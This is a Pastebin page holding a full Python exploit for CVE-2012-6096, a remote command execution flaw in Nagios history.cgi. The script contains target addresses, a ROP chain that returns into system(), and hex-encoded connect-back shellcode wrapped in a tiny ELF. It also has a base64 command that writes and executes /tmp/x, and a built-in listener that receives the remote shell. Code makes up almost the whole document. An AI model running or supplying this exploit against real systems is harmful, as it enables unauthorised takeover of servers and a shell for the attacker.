daily pastebin goal
58%
SHARE
TWEET

CVE-2012-6096 exploit

a guest Jan 10th, 2013 6,381 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #
  3. # CVE-2012-6096 - Nagios history.cgi Remote Command Execution
  4. # ===========================================================
  5. # Another year, another reincarnation of classic and trivial
  6. # bugs to exploit. This time we attack Nagios.. or more
  7. # specifically, one of its CGI scripts. [1]
  8. #
  9. # The Nagios code is an amazing monster. It reminds me a
  10. # lot of some of my early experiments in C, back when I
  11. # still had no clue what I was doing. (Ok, fair enough,
  12. # I still don't, heheh.)
  13. #
  14. # Ok, I'll come clean. This exploit doesn't exactly
  15. # defeat FORTIFY. This approach is likely to work just FINE
  16. # on other crippled distro's though, think of stuff like
  17. # ArchLinux, Slackware, and all those Gentoo kids twiddling
  18. # their CFLAGS. [2] (Oh and hey, BSD and stuff!)
  19. #
  20. # I do some very stupid shit(tm) here that might make an
  21. # exploit coder or two cringe. My sincere apologies for that.
  22. #
  23. # Cold beer goes out to my friends who are still practicing
  24. # this dying but interesting type of art:
  25. #
  26. #   * brainsmoke * masc * iZsh * skier_ * steve *
  27. #
  28. # -- blasty <blasty@fail0verflow.com> / 2013-01-08
  29. #
  30. # References:
  31. # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
  32. # [2] http://www.funroll-loops.info/
  33. #
  34. # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
  35. # Next time you rebrand an exploit at least show some diligence and
  36. # add some additional targets or improvements, so we can all profit!
  37. #
  38. # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
  39. #
  40.  
  41. import os, sys, socket, struct, urllib, threading, SocketServer, time
  42. from base64 import b64encode
  43.  
  44. SocketServer.TCPServer.allow_reuse_address = True
  45.  
  46. targets = [
  47.         {
  48.                 "name"       : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
  49.                 "smash_len"  : 0xc37,
  50.                 "unescape"   : 0x0804b620,
  51.                 "popret"     : 0x08048fe4,
  52.                 "hostbuf"    : 0x080727a0,
  53.                 "system_plt" : 0x08048c7c
  54.         }
  55. ]
  56.  
  57. def u32h(v):
  58.         return struct.pack("<L", v).encode('hex')
  59.  
  60. def u32(v, hex = False):
  61.         return struct.pack("<L", v)
  62.  
  63. # Tiny ELF stub based on:
  64. # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
  65. def make_elf(sc):
  66.         elf_head = \
  67.                 "7f454c46010101000000000000000000" + \
  68.                 "02000300010000005480040834000000" + \
  69.                 "00000000000000003400200001000000" + \
  70.                 "00000000010000000000000000800408" + \
  71.                 "00800408" + u32h(0x54+len(sc))*2  + \
  72.                 "0500000000100000"
  73.  
  74.         return elf_head.decode("hex") + sc
  75.  
  76. # interactive connectback listener
  77. class connectback_shell(SocketServer.BaseRequestHandler):
  78.         def handle(self):
  79.                 print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
  80.                 print "[**] This shell is powered by insane amounts of illegal substances"
  81.  
  82.                 s = self.request
  83.  
  84.                 import termios, tty, select, os
  85.                 old_settings = termios.tcgetattr(0)
  86.  
  87.                 try:
  88.                         tty.setcbreak(0)
  89.                         c = True
  90.  
  91.                         os.write(s.fileno(), "id\nuname -a\n")
  92.  
  93.                         while c:
  94.                                 for i in select.select([0, s.fileno()], [], [], 0)[0]:
  95.                                         c = os.read(i, 1024)
  96.                                         if c:
  97.                                                 if i == 0:
  98.                                                         os.write(1, c)
  99.  
  100.                                                 os.write(s.fileno() if i == 0 else 1, c)
  101.                 except KeyboardInterrupt: pass
  102.                 finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
  103.  
  104.                 return
  105.  
  106. class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
  107.         pass
  108.  
  109. if len(sys.argv) != 5:
  110.         print "\n  >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
  111.         print "  >> \"Jetzt geht's Nagi-los!\"\n"
  112.         print "  usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
  113.         print "  targets:"
  114.  
  115.         i = 0
  116.  
  117.         for target in targets:
  118.                 print " %02d) %s" % (i, target['name'])
  119.                 i = i+1
  120.  
  121.         print ""
  122.         sys.exit(-1)
  123.  
  124. target_no = int(sys.argv[4])
  125.  
  126. if target_no < 0 or target_no > len(targets):
  127.         print "Invalid target specified"
  128.         sys.exit(-1)
  129.  
  130. target = targets[ int(sys.argv[4]) ]
  131.  
  132. # comment this shit if you want to setup your own listener
  133. server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
  134. server_thread = threading.Thread(target=server.serve_forever)
  135. server_thread.daemon = True
  136. server_thread.start()
  137.  
  138. # shellcode to be executed
  139. # vanilla x86/linux connectback written by a dutch gentleman
  140. # close to a decade ago.
  141. cback = \
  142.         "31c031db31c951b10651b10151b10251" + \
  143.         "89e1b301b066cd8089c231c031c95151" + \
  144.         "68badc0ded6668b0efb102665189e7b3" + \
  145.         "1053575289e1b303b066cd8031c939c1" + \
  146.         "740631c0b001cd8031c0b03f89d3cd80" + \
  147.         "31c0b03f89d3b101cd8031c0b03f89d3" + \
  148.         "b102cd8031c031d250686e2f7368682f" + \
  149.         "2f626989e3505389e1b00bcd8031c0b0" + \
  150.         "01cd80"
  151.  
  152. cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
  153. cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))
  154.  
  155. # Eww.. so there's some characters that dont survive the trip..
  156. # yes, even with the unescape() call in our return-chain..
  157. # initially I was going to use some /dev/tcp based connectback..
  158. # but /dev/tcp isn't available/accesible everywhere, so instead
  159. # we drop an ELF into /tmp and execute that. The '>' characters
  160. # also doesn't survive the trip so we work around this by using
  161. # the tee(1) utility.
  162. # If your target has a /tmp that is mounted with noexec flag,
  163. # is severely firewalled or guarded by trained (watch)dogs..
  164. # you might want to reconsider this approach!
  165. cmd  = \
  166.         "rm -rf /tmp/x;" + \
  167.         "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
  168.         "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
  169.  
  170. # Spaces (0x20) are also a problem, they always ends up as '+' :-(
  171. # so apply some olde trick and rely on $IFS for argv separation
  172. cmd = cmd.replace(" ", "${IFS}")
  173.  
  174. # Basic return-2-whatever/ROP chain.
  175. # We return into cgi_input_unescape() to get rid of
  176. # URL escaping in a static buffer we control, and then
  177. # we return into system@plt for the moneyshot.
  178. #
  179. # Ergo sum:
  180. # There's no memoryleak or whatever needed to leak libc
  181. # base and bypass ASLR.. This entire Nagios PoS is stringed
  182. # together by system() calls, so pretty much every single one
  183. # of their little silly binaries comes with a PLT entry for
  184. # system(), huzzah!
  185. rop = [
  186.         u32(target['unescape']),
  187.         u32(target['popret']),
  188.         u32(target['hostbuf']),
  189.         u32(target['system_plt']),
  190.         u32(0xdeafbabe),
  191.         u32(target['hostbuf'])
  192. ]
  193.  
  194. # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
  195. # out of the box. Building HTTP requests from scratch is so 90ies..
  196. params = urllib.urlencode({
  197.         'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
  198. })
  199.  
  200. print "[>>] CL1Q .."
  201. f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
  202.  
  203. print "[>>] CL4Q .."
  204. f.read()
  205.  
  206. # TRIAL PERIOD ACTIVE, LOL!
  207. time.sleep(0x666)
  208.  
  209. server.shutdown()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top